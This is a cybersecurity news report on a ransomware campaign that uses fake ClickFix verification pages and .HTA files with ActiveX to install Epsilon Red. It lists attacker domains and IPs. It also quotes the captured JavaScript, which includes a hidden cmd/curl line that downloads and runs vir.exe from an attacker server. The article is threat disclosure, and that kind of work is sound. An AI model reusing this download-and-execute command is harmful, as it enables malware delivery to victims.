A new wave of ransomware attacks has surfaced in July 2025, leveraging weaponized HTML (.HTA) files to silently deploy the Epsilon Red strain of ransomware.

The campaign, which has spread globally, masquerades as innocuous verification pages branded as “ClickFix,” luring users who frequent popular platforms such as Discord, Twitch, Kick, and OnlyFans.

By exploiting users’ trust in these services, the operators coax victims into executing browser-delivered scripts that bypass conventional download warnings.

The attack begins with a spoofed verification portal that prompts a user to “prove” authenticity before accessing content.

Once the button is pressed, the site redirects to a secondary page configured to run embedded ActiveX controls—an antiquated yet still-enabled Windows technology—allowing arbitrary command execution within Internet Explorer’s rendering engine.

CloudSEK researchers noted that this redirection technique departs from earlier clipboard-based Epsilon Red lures, giving the current iteration a markedly higher infection success rate.

After triggering the ActiveX object, malicious code invokes the Windows Script Host (WSH) to spawn a hidden command shell.

From there, a small PowerShell-like command pulls a binary from attacker infrastructure, executes it in memory, and leaves virtually no visible artifact during the initial compromise.

CloudSEK analysts tied the hosting infrastructure to domains such as twtich[.]cc and capchabot[.]cc, and to IP addresses 155.94.155.227 :2269 and 213.209.150.188 :8112, confirming a cohesive network operated by the same threat actor cluster.

Victims suffer rapid data encryption typical of Epsilon Red, with ransom notes loosely styled after REvil’s infamous communiqué yet featuring minor grammatical tweaks.

Beyond file encryption, the technique exposes a deeper security gap: any legacy-enabled ActiveX environment can be commandeered to launch native binaries directly from a browser session, sidestepping download quarantine, SmartScreen, and most endpoint defenses.

Organizations that rely on web-based productivity suites or allow unmanaged browser plugins face heightened risk.

Infection Mechanism: Weaponized .HTA via ActiveX

At the heart of the campaign is an .HTA file, rendered by mshta.exe, embedding JavaScript that spawns WScript.Shell.

The snippet below—captured from the live site, shows how the payload reaches diskless execution:-

var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd /c cd /D %userprofile% && curl -s -o a.exe http://155.94.155.227:2269/dw/vir.exe && a.exe", 0);

This single-line command quietly navigates to the victim’s profile directory, retrieves vir.exe, executes it, and hides the window (the trailing “0”).

Extra verification page (Source – CloudSEK)

A follow-up command plants a fake “Verification Code” prompt to distract the user:-

shell. Run("cmd /c echo Your Verificatification Code Is: P3L9X & pause");

Running within the same WSH process, the ransomware gains full user-level privileges, schedules persistence via schtasks, and begins network discovery.

Disabling ActiveX and WSH, enforcing modern browser policies, and continuously blacklisting the identified domains and IPs are the most immediate mitigations while deeper network hardening and user-focused phish i ng simulations remain essential.

Clickfix verification (Source – CloudSEK)

This verification page illustrates the deceptive verification screen that initiates this chain.

Experience faster, more accurate phishing detection and enhanced protection for your business with real-time sandbox analysis-> Try ANY.RUN now

The post Hackers Trick Victims into Downloading Weaponized .HTA Files to Install Red Ransomware appeared first on Cyber Security News.